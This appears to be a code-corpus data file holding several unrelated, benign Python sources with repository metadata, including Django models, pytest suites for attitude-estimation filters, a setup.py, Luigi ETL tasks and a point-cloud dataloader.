| 27.32 | 86 | 0.408492 | 106 | 683 | 2.613208 | 0.339623 | 0.072202 | 0.054152 | 0.072202 | 0.483755 | 0.166065 | 0.166065 | 0.057762 | 0.057762 | 0.057762 | 0 | 0.313063 | 0.349927 | 683 | 24 | 87 | 28.458333 | 0.310811 | 0 | 0 | 0 | 0 | 0 | 0.035139 | 0 | 0 | 0 | 0 | 0 | 0.047619 | 1 | 0.047619 | false | 0 | 0.095238 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
65311145b6ee53fda530b097d389ae1ec1e3a742 | 149 | py | Python | src/test/mod-test/io.vertx~mod-import~1.0/hello.py | pipoket/vertx-lang-python | c2411affd05d1238ddb7a945b2f963891a2d9767 | [
"Apache-2.0"
] | null | null | null | src/test/mod-test/io.vertx~mod-import~1.0/hello.py | pipoket/vertx-lang-python | c2411affd05d1238ddb7a945b2f963891a2d9767 | [
"Apache-2.0"
] | null | null | null | src/test/mod-test/io.vertx~mod-import~1.0/hello.py | pipoket/vertx-lang-python | c2411affd05d1238ddb7a945b2f963891a2d9767 | [
"Apache-2.0"
] | null | null | null | from test_utils import TestUtils
tu = TestUtils()
import hello2
print "in hello"
def vertx_stop():
tu.unregister_all()
tu.app_stopped()
| 11.461538 | 32 | 0.711409 | 21 | 149 | 4.857143 | 0.809524 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008333 | 0.194631 | 149 | 12 | 33 | 12.416667 | 0.841667 | 0 | 0 | 0 | 0 | 0 | 0.054422 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.285714 | null | null | 0.142857 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6536013e234a34f49dd757edd14d8e069948eed4 | 481 | py | Python | A_MIA_R3_Core/Graph_Process.py | nao0423/A_MIA_R3 | 49dd9849e082fd5cee98a9919e8e4962a8376e59 | [
"MIT"
] | null | null | null | A_MIA_R3_Core/Graph_Process.py | nao0423/A_MIA_R3 | 49dd9849e082fd5cee98a9919e8e4962a8376e59 | [
"MIT"
] | null | null | null | A_MIA_R3_Core/Graph_Process.py | nao0423/A_MIA_R3 | 49dd9849e082fd5cee98a9919e8e4962a8376e59 | [
"MIT"
] | null | null | null | import os
from A_MIA_R3_Core.Graphproc import Graphmod
class Graph_Process:
def __path_cutext2(self,pathkun):
pathkun22, extkun = os.path.splitext(os.path.basename(pathkun))
return pathkun22
def __init__(self,filename):
self.filename=filename
self.path_ONLY=self.__path_cutext2(filename)
def process(self,Facearray):
Instance2_graph = Graphmod.DrawGraphs(self.path_ONLY)
return Instance2_graph.DrawEmotion(Facearray)
| 28.294118 | 71 | 0.72973 | 59 | 481 | 5.644068 | 0.491525 | 0.072072 | 0.072072 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023077 | 0.189189 | 481 | 16 | 72 | 30.0625 | 0.830769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6537d7f03a9250aba707accbcb5f532da3661e4d | 679 | py | Python | api/core/models.py | PaulSrrs/flutter-rescuer-app | 01da4d0f760031c1fe8e6ee4f16adbd3bd01f725 | [
"MIT"
] | null | null | null | api/core/models.py | PaulSrrs/flutter-rescuer-app | 01da4d0f760031c1fe8e6ee4f16adbd3bd01f725 | [
"MIT"
] | null | null | null | api/core/models.py | PaulSrrs/flutter-rescuer-app | 01da4d0f760031c1fe8e6ee4f16adbd3bd01f725 | [
"MIT"
] | null | null | null | from django.db import models
from uuid import uuid4
class Rescue(models.Model):
"""
Rescue model definition for the database
"""
uuid = models.UUIDField(default=uuid4, primary_key=True)
timestamp = models.DateTimeField(auto_now=True)
alert_date = models.DateField()
alert_time = models.TimeField()
total_victims = models.IntegerField(default=0)
accident_date = models.DateField()
accident_time = models.TimeField()
resources = models.CharField(default="", blank=True, max_length=2048)
place = models.CharField(default="", blank=True, max_length=2048)
circumstances = models.CharField(default="", blank=True, max_length=2048)
| 35.736842 | 77 | 0.726068 | 82 | 679 | 5.890244 | 0.5 | 0.093168 | 0.136646 | 0.167702 | 0.273292 | 0.273292 | 0.273292 | 0.273292 | 0 | 0 | 0 | 0.026316 | 0.16053 | 679 | 18 | 78 | 37.722222 | 0.821053 | 0.05891 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.153846 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6543d1287e2b04aca20d1595afba204832b5bdb0 | 1,508 | py | Python | tests/mechanisms/test_DPMechanism.py | Originofamonia/differential-privacy-library | 11759216bd418f764ff5c4a2349975b14f6e7ffb | [
"MIT"
] | 1 | 2021-05-26T06:15:13.000Z | 2021-05-26T06:15:13.000Z | tests/mechanisms/test_DPMechanism.py | SHIHUA110/differential-privacy-library | a889ba0f8d19c77e2b0369451ebc392969fac685 | [
"MIT"
] | null | null | null | tests/mechanisms/test_DPMechanism.py | SHIHUA110/differential-privacy-library | a889ba0f8d19c77e2b0369451ebc392969fac685 | [
"MIT"
] | 1 | 2021-09-07T10:40:49.000Z | 2021-09-07T10:40:49.000Z | from unittest import TestCase
from diffprivlib.mechanisms import DPMachine, DPMechanism
class TestDPMechanism(TestCase):
def setup_method(self, method):
class TestMech(DPMechanism):
def randomise(self, value):
return value
self.mech = TestMech
def teardown_method(self, method):
del self.mech
def test_not_none(self):
self.assertIsNotNone(DPMechanism)
def test_parent_class(self):
self.assertTrue(issubclass(DPMechanism, DPMachine))
def test_instantiation(self):
with self.assertRaises(TypeError):
DPMechanism(epsilon=1, delta=0)
def test_copy(self):
self.assertIsInstance(self.mech(epsilon=1, delta=0).copy(), DPMechanism)
def test_set_epsilon_delta(self):
with self.assertRaises(ValueError):
self.mech(epsilon=0, delta=-1)
with self.assertRaises(ValueError):
self.mech(epsilon=0, delta=2)
with self.assertRaises(ValueError):
self.mech(epsilon=0, delta=0)
mech1 = self.mech(epsilon=1, delta=0).copy()
self.assertIsNotNone(mech1)
def test_mse(self):
self.assertRaises(NotImplementedError, self.mech(epsilon=1, delta=0).mse, 1)
class TestMSE(self.mech):
def bias(self, value):
return -1
def variance(self, value):
return 1
mse_mech = TestMSE(epsilon=1, delta=0)
self.assertEqual(mse_mech.mse(1), 2)
| 26.928571 | 84 | 0.632626 | 175 | 1,508 | 5.371429 | 0.274286 | 0.076596 | 0.095745 | 0.074468 | 0.241489 | 0.241489 | 0.218085 | 0.162766 | 0.162766 | 0 | 0 | 0.020758 | 0.265252 | 1,508 | 55 | 85 | 27.418182 | 0.827617 | 0 | 0 | 0.081081 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.27027 | 1 | 0.297297 | false | 0 | 0.054054 | 0.081081 | 0.513514 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
65465c2965d0c4da1879154d7082aea70d51e914 | 4,358 | py | Python | tests/test_new.py | Mayitzin/ahrs | 45af98331482a85ad1be730cbdf584cacfb416c6 | [
"MIT"
] | 184 | 2019-09-06T07:58:52.000Z | 2022-03-31T04:27:09.000Z | tests/test_new.py | Mayitzin/ahrs | 45af98331482a85ad1be730cbdf584cacfb416c6 | [
"MIT"
] | 48 | 2019-11-13T15:42:46.000Z | 2022-03-31T23:53:53.000Z | tests/test_new.py | Mayitzin/ahrs | 45af98331482a85ad1be730cbdf584cacfb416c6 | [
"MIT"
] | 34 | 2019-12-19T16:22:00.000Z | 2022-03-14T09:51:50.000Z | #! /usr/bin/python3
# -*- coding: utf-8 -*-
"""
Pytest-based testing
====================
This file performs automated tests with pytest. It does not generate charts
or output to be reviewed.
Run with: pytest-3 tests/test_new.py
Run with: pytest-3 tests/test_new.py -s -vv --cov=ahrs for coverage + verbose
Copyright 2021 Mario Garcia and Federico Ceratto <federico@debian.org>
Released under MIT License
Formatted with Black
References
----------
.. [Crassidis] John L. Crassidis (2007) A Survey of Nonlinear Attitude
Estimation Methods.
.. [Teage] Harris Teage (2016) Comparison of Attitude Estimation Techniques for
Low-cost Unmanned Aerial Vehicles.
https://arxiv.org/pdf/1602.07733.pdf
http://ancs.eng.buffalo.edu/pdf/ancs_papers/2007/att_survey07.pdf
.. [Cirillo] A. Cirillo et al. (2016) A comparison of multisensor attitude
estimation algorithms.
https://www.researchgate.net/profile/Pasquale_Cirillo/publication/303738116_A_comparison_of_multisensor_attitude_estimation_algorithms/links/5750181208aeb753e7b4a0c0/A-comparison-of-multisensor-attitude-estimation-algorithms.pdf
"""
import numpy as np
import pytest
import scipy.io as sio
import ahrs
import ahrs.utils.io
DEG2RAD = ahrs.common.DEG2RAD
class Data:
acc = None
gyr = None
mag = None
@pytest.fixture()
def data():
fn = "tests/ExampleData.mat"
mat = sio.loadmat(fn)
d = Data()
d.acc = mat["Accelerometer"]
d.gyr = mat["Gyroscope"]
d.mag = mat["Magnetometer"]
d.num_samples = len(d.acc)
assert d.num_samples
assert len(d.acc[0]) == 3
assert len(d.gyr[0]) == 3
assert len(d.mag[0]) == 3
return d
def check_integrity(Q):
assert Q is not None
sz = Q.shape
qts_ok = not np.allclose(np.sum(Q, axis=0), sz[0] * np.array([1.0, 0.0, 0.0, 0.0]))
qnm_ok = np.allclose(np.linalg.norm(Q, axis=1).mean(), 1.0)
assert qts_ok and qnm_ok
@pytest.fixture()
def Q(data):
q = np.zeros((data.num_samples, 4))
q[:, 0] = 1.0
return q
def test_fourati(data, Q):
fourati = ahrs.filters.Fourati()
for t in range(1, data.num_samples):
Q[t] = fourati.update(Q[t - 1], DEG2RAD * data.gyr[t], data.acc[t], data.mag[t])
# check_integrity(Q)
assert tuple(Q[0]) == (
0.9999984512506995,
-7.923098356158542e-05,
-0.00010998618261451432,
7.783371117384885e-05,
)
assert tuple(Q[-1]) == (
0.8321632262796078,
0.17064875423856807,
-0.27862737470349475,
0.44805150772046,
)
def test_ekf(data, Q):
ekf = ahrs.filters.EKF()
for t in range(1, data.num_samples):
Q[t] = ekf.update(Q[t - 1], DEG2RAD * data.gyr[t], data.acc[t], data.mag[t])
check_integrity(Q)
assert tuple(Q[0]) == (1.0, 0.0, 0.0, 0.0)
assert tuple(Q[1]) == (
0.9948152433072915,
0.030997430898554206,
-0.09666743395232329,
0.006099030596487108,
)
assert tuple(Q[-1]) == (
0.08996443890695231,
0.23991941374716044,
-0.958073763949303,
-0.1282175396402196,
)
def test_mahony(data, Q):
mahony = ahrs.filters.Mahony()
for t in range(1, data.num_samples):
Q[t] = mahony.updateMARG(
Q[t - 1], DEG2RAD * data.gyr[t], data.acc[t], data.mag[t]
)
check_integrity(Q)
assert tuple(Q[0]) == (
0.9999883099133865,
-0.0007983637760660701,
0.004762298093153807,
0.00025133388483027455,
)
assert tuple(Q[-1]) == (
-0.10375763267292282,
-0.007875376758085736,
-0.05233084545763538,
0.9931937448034588,
)
def test_madgwick(data, Q):
madgwick = ahrs.filters.Madgwick()
for t in range(1, data.num_samples):
Q[t] = madgwick.updateMARG(
Q[t - 1], DEG2RAD * data.gyr[t], data.acc[t], data.mag[t]
)
check_integrity(Q)
assert tuple(Q[0]) == (
0.999999906169997,
-0.00039564882735884275,
-0.00017641407301677547,
-2.78332338967451e-07,
)
assert tuple(Q[-1]) == (
0.9524138044137933,
-0.10311931931141746,
0.0038985200624795592,
0.28680856453062387,
)
def test_distance():
a = np.random.random((2, 3))
d = ahrs.utils.metrics.euclidean(a[0], a[1])
assert np.allclose(d, np.linalg.norm(a[0] - a[1]))
| 27.068323 | 232 | 0.626893 | 596 | 4,358 | 4.528523 | 0.340604 | 0.011115 | 0.011115 | 0.011856 | 0.265654 | 0.230826 | 0.230826 | 0.173027 | 0.146351 | 0.146351 | 0 | 0.209053 | 0.229463 | 4,358 | 160 | 233 | 27.2375 | 0.594699 | 0.257228 | 0 | 0.162162 | 1 | 0 | 0.017044 | 0.006508 | 0 | 0 | 0 | 0 | 0.144144 | 1 | 0.072072 | false | 0 | 0.045045 | 0 | 0.171171 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e8dc04addbe19e19b436d12f2a6c4aa64d953e15 | 1,604 | py | Python | setup.py | ytianxia6/pyzwcad | adae3c6a702446148ce1b8cbd7008dee7db5c512 | [
"BSD-2-Clause"
] | null | null | null | setup.py | ytianxia6/pyzwcad | adae3c6a702446148ce1b8cbd7008dee7db5c512 | [
"BSD-2-Clause"
] | null | null | null | setup.py | ytianxia6/pyzwcad | adae3c6a702446148ce1b8cbd7008dee7db5c512 | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(
name="pyzwcad",
# packages=["pyautocad", "pyautocad.contrib"],
packages=["pyzwcad", "pyzwcad.contrib"],
version="0.3.2",
# description="AutoCAD Automation for Python",
description="ZwCAD Automation for Python",
author="ytianxia6",
author_email="ytianxia6@gmail.com",
url="https://github.com/ytianxia6/pyzwcad",
install_requires=[
'comtypes>=1.1.1',
],
keywords=["zwcad", "automation", "activex", "comtypes"],
license="BSD License",
include_package_data=True,
classifiers=[
"Programming Language :: Python",
"License :: OSI Approved :: BSD License",
"Development Status :: 4 - Beta",
"Intended Audience :: Developers",
"Intended Audience :: System Administrators",
# "Programming Language :: Python :: 2",
"Programming Language :: Python :: 3",
# "Programming Language :: Python :: 2.7",
"Programming Language :: Python :: 3.3",
"Programming Language :: Python :: 3.4",
"Programming Language :: Python :: 3.5",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: Implementation :: CPython",
"Operating System :: Microsoft :: Windows",
"Topic :: Software Development :: Libraries :: Python Modules",
"Topic :: Scientific/Engineering",
],
long_description=open('README.rst').read()
)
| 34.869565 | 71 | 0.61409 | 157 | 1,604 | 6.242038 | 0.522293 | 0.193878 | 0.255102 | 0.159184 | 0.055102 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020292 | 0.23192 | 1,604 | 45 | 72 | 35.644444 | 0.775162 | 0.144638 | 0 | 0.054054 | 0 | 0 | 0.565154 | 0.016105 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.081081 | 0 | 0.081081 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e8ddb6aabd35ae53430334ddd50af27b03dad298 | 275 | py | Python | create_tables.py | mnooel/749_assignment3 | a0400cc842560a6137f10bd5d5592b24a3938fbf | [
"MIT"
] | null | null | null | create_tables.py | mnooel/749_assignment3 | a0400cc842560a6137f10bd5d5592b24a3938fbf | [
"MIT"
] | null | null | null | create_tables.py | mnooel/749_assignment3 | a0400cc842560a6137f10bd5d5592b24a3938fbf | [
"MIT"
] | null | null | null | # create_tables.py
from engine import OracleConnection
def create_tables(connection: OracleConnection):
connection.execute_scripts_from_file('sql_scripts/create_tables.sql')
if __name__ == '__main__':
conn = OracleConnection()
create_tables(connection=conn)
| 21.153846 | 73 | 0.785455 | 31 | 275 | 6.451613 | 0.548387 | 0.24 | 0.22 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127273 | 275 | 12 | 74 | 22.916667 | 0.833333 | 0.058182 | 0 | 0 | 0 | 0 | 0.143969 | 0.11284 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e8e1aa99f4b7d5bd612becc4eb76798143080757 | 2,040 | py | Python | etl_i2b2/pcornet_ont.py | sxinger/grouse | 2e6fb43bd8dc1c2d7275ca8f91671203406d4124 | [
"MIT"
] | 5 | 2017-04-04T18:24:10.000Z | 2019-03-18T17:42:23.000Z | etl_i2b2/pcornet_ont.py | sxinger/grouse | 2e6fb43bd8dc1c2d7275ca8f91671203406d4124 | [
"MIT"
] | 8 | 2017-04-12T14:43:12.000Z | 2019-06-07T20:00:12.000Z | etl_i2b2/pcornet_ont.py | sxinger/grouse | 2e6fb43bd8dc1c2d7275ca8f91671203406d4124 | [
"MIT"
] | 7 | 2017-04-04T13:24:55.000Z | 2020-09-06T00:12:57.000Z | '''pcornet_ont - Luigi Tasks to help load the SCILHS PCORNet Ontology
'''
from datetime import datetime
from typing import List, cast
import luigi
from etl_tasks import DBAccessTask, SourceTask
from etl_tasks import DBTarget, SchemaTarget, TimeStampParameter
from ont_load import MetaToConcepts
from param_val import StrParam
class PCORNetConcepts(luigi.WrapperTask):
meta_tables = [
'PCORNET_DEMO',
'PCORNET_DIAG',
'PCORNET_ENC',
'PCORNET_ENROLL',
'PCORNET_LAB',
'PCORNET_MED',
'PCORNET_PROC',
'PCORNET_VITAL',
]
def requires(self) -> List[luigi.Task]:
return [
PCORNetMetaToConcepts(ont_table_name=table)
for table in self.meta_tables]
class PCORNetMetaToConcepts(MetaToConcepts):
@property
def i2b2meta(self) -> str:
return self.source.pcorimetadata # type: ignore
@property
def source(self) -> SourceTask:
return TerminologyDumpImport()
class TerminologyDumpImport(SourceTask, DBAccessTask):
'''
- Shrine Terminology Files - Oracle Reeder Apr 10
Reeder at UTSouthwestern
Mon Apr 10 10:39:05 CDT 2017
http://listserv.kumc.edu/pipermail/gpc-dev/2017q2/003805.html
- basic SNOW ontology alignment: Demographics, Diagnoses
GPC:ticket:525#comment:12 Apr 17
https://informatics.gpcnetwork.org/trac/Project/ticket/525#comment:12
- PCORIMETADATA_3_24_2017.dmp
'''
# March 24 is really last modified date.
# Jun 6 09:17 is when I downloaded it and imported it.
download_date = cast(datetime, TimeStampParameter(default=datetime(2017, 3, 24)))
source_cd = "'PCORNET_CDM'"
pcorimetadata = StrParam(default='PCORIMETADATA')
table_eg = 'pcornet_demo'
def _dbtarget(self) -> DBTarget:
return SchemaTarget(self._make_url(self.account),
schema_name=self.pcorimetadata,
table_eg=self.table_eg,
echo=self.echo)
| 30 | 85 | 0.665686 | 230 | 2,040 | 5.769565 | 0.543478 | 0.015825 | 0.018086 | 0.027129 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03919 | 0.24951 | 2,040 | 67 | 86 | 30.447761 | 0.827564 | 0.264706 | 0 | 0.051282 | 0 | 0 | 0.093641 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.102564 | false | 0 | 0.230769 | 0.102564 | 0.641026 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
e8ec9828d4dea1fbf83774f9b78c6afb05e1156c | 2,083 | py | Python | PAPC/datasets/dataloader.py | AgentMaker/PAPC | f5f385c6fed53d2ca2599171a317efaac348dfb5 | [
"MIT"
] | 70 | 2021-02-20T03:44:38.000Z | 2022-01-17T12:55:45.000Z | PAPC/datasets/dataloader.py | AgentMaker/PAPC | f5f385c6fed53d2ca2599171a317efaac348dfb5 | [
"MIT"
] | 1 | 2021-02-20T05:26:14.000Z | 2021-02-20T13:22:13.000Z | PAPC/datasets/dataloader.py | AgentMaker/PAPC | f5f385c6fed53d2ca2599171a317efaac348dfb5 | [
"MIT"
] | 8 | 2021-02-20T03:35:25.000Z | 2022-02-08T03:22:55.000Z | from PAPC.datasets.kdloader import KDClasDataLoader, KDSegDataLoader
from PAPC.datasets.voxloader import VoxDataLoader
from PAPC.datasets.pnloader import PNClasDataLoader, PNSegDataLoader
def DataLoader(model_name, max_point, batchsize, path='./data/', mode1='clas' ,mode2='train'):
if mode1 == 'clas':
if model_name == 'voxnet':
return VoxDataLoader(max_point, batchsize, mode2)
elif model_name == 'kdnet':
return KDClasDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'pointnet_basic':
return PNClasDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'pointnet':
return PNClasDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'vfe':
return PNClasDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'pointnet2_ssg':
return PNClasDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'pointnet2_msg':
return PNClasDataLoader(max_point, batchsize, path, mode2)
else:
raise SystemExit('Error: model is incorrect')
elif mode1 == 'seg':
if model_name == 'kdunet':
return KDSegDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'pointnet_basic':
return PNSegDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'pointnet':
return PNSegDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'vfe':
return PNSegDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'pointnet2_ssg':
return PNSegDataLoader(max_point, batchsize, path, mode2)
elif model_name == 'pointnet2_msg':
return PNSegDataLoader(max_point, batchsize, path, mode2)
else:
raise SystemExit('Error: model is incorrect')
elif mode1 == 'detect':
raise SystemExit('Error: Sorry, do not have detect model')
else:
raise SystemExit('Error: mode should be "clas", "detect" or "seg"') | 50.804878 | 94 | 0.657225 | 224 | 2,083 | 5.959821 | 0.236607 | 0.094382 | 0.178277 | 0.204494 | 0.637453 | 0.637453 | 0.637453 | 0.614232 | 0.614232 | 0.614232 | 0 | 0.013995 | 0.245319 | 2,083 | 41 | 95 | 50.804878 | 0.835242 | 0 | 0 | 0.625 | 0 | 0 | 0.135797 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025 | false | 0 | 0.075 | 0 | 0.425 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e8f7c233a3cdc396951af2d10bf40188c27d45d5 | 235 | py | Python | generatormain.py | trevorw22/Insta-bot | 064afdbc5d319e738cc032bcee1ee790befcb079 | [
"MIT"
] | 15 | 2018-04-20T12:09:09.000Z | 2021-12-26T10:22:48.000Z | generatormain.py | trevorw22/Insta-bot | 064afdbc5d319e738cc032bcee1ee790befcb079 | [
"MIT"
] | 1 | 2021-06-25T15:24:19.000Z | 2021-06-25T15:24:19.000Z | generatormain.py | trevorw22/Insta-bot | 064afdbc5d319e738cc032bcee1ee790befcb079 | [
"MIT"
] | 3 | 2018-07-03T07:35:19.000Z | 2019-11-28T07:02:42.000Z | from Database_Functions import *
#main
#Put here how many accounts you want to generate
Accounts = 5;
''' Database '''
#Scrap for (Accounts) profile pictures
#Scrap for (5 * Accounts) Memes and alter account
check_excelsheet();
| 14.6875 | 49 | 0.731915 | 32 | 235 | 5.3125 | 0.78125 | 0.094118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010363 | 0.178723 | 235 | 15 | 50 | 15.666667 | 0.870466 | 0.578723 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
33012f5653666ff0856c26dc46c61830b80eeef1 | 662 | py | Python | applications/online_cms/admin.py | nitagr/Fusion | 2818d042988f15942cf44d6f02f46a7c2312d398 | [
"bzip2-1.0.6"
] | 1 | 2020-03-23T16:40:33.000Z | 2020-03-23T16:40:33.000Z | applications/online_cms/admin.py | nitagr/Fusion | 2818d042988f15942cf44d6f02f46a7c2312d398 | [
"bzip2-1.0.6"
] | null | null | null | applications/online_cms/admin.py | nitagr/Fusion | 2818d042988f15942cf44d6f02f46a7c2312d398 | [
"bzip2-1.0.6"
] | null | null | null | from django.contrib import admin
from .models import (Assignment, CourseDocuments, CourseVideo, Forum,
ForumReply, Quiz, QuizQuestion, QuizResult, StudentAnswer,
StudentAssignment, Topics,
)
#need to register all the tables here which are functions in models.py
admin.site.register(CourseDocuments)
admin.site.register(CourseVideo)
admin.site.register(Quiz)
admin.site.register(QuizQuestion)
admin.site.register(StudentAnswer)
admin.site.register(Assignment)
admin.site.register(StudentAssignment)
admin.site.register(QuizResult)
admin.site.register(Forum)
admin.site.register(ForumReply)
| 23.642857 | 79 | 0.741692 | 72 | 662 | 6.819444 | 0.416667 | 0.183299 | 0.346232 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172205 | 662 | 27 | 80 | 24.518519 | 0.895985 | 0.10423 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.133333 | 0 | 0.133333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
330d170e83d523c2ade7fb21c17b933297021584 | 259 | py | Python | utils/__init__.py | gerardroche/AutomaticPackageReloader | e90c22a50f6bfb195394cc6eedab0e7977a0011d | [
"MIT"
] | 30 | 2017-03-05T12:28:31.000Z | 2022-03-23T11:32:23.000Z | utils/__init__.py | gerardroche/AutomaticPackageReloader | e90c22a50f6bfb195394cc6eedab0e7977a0011d | [
"MIT"
] | 34 | 2017-03-14T05:59:58.000Z | 2021-08-24T16:25:05.000Z | utils/__init__.py | randy3k/PackageReloader | 1255fcb0bc8effb66956e2240c42b7ae10615860 | [
"MIT"
] | 16 | 2017-03-09T12:03:21.000Z | 2019-10-18T08:19:37.000Z | from .progress_bar import ProgressBar
from .config import read_config
from .package import has_package, package_of, package_python_version
__all__ = [
"ProgressBar",
"read_config",
"has_package",
"package_of",
"package_python_version"
]
| 19.923077 | 68 | 0.741313 | 31 | 259 | 5.709677 | 0.419355 | 0.112994 | 0.19209 | 0.214689 | 0.440678 | 0.440678 | 0.440678 | 0 | 0 | 0 | 0 | 0 | 0.173745 | 259 | 12 | 69 | 21.583333 | 0.827103 | 0 | 0 | 0 | 0 | 0 | 0.250965 | 0.084942 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
331cee8ddd792cd057b92c2dce3887b467fb3154 | 597 | py | Python | tests/base.py | akolpakov/paynova-api-php-client | 930277623fc7b142ae9365a44f15a3a7b79bd974 | [
"MIT"
] | 4 | 2015-03-17T07:57:00.000Z | 2016-02-08T18:26:44.000Z | tests/base.py | akolpakov/paynova-api-php-client | 930277623fc7b142ae9365a44f15a3a7b79bd974 | [
"MIT"
] | null | null | null | tests/base.py | akolpakov/paynova-api-php-client | 930277623fc7b142ae9365a44f15a3a7b79bd974 | [
"MIT"
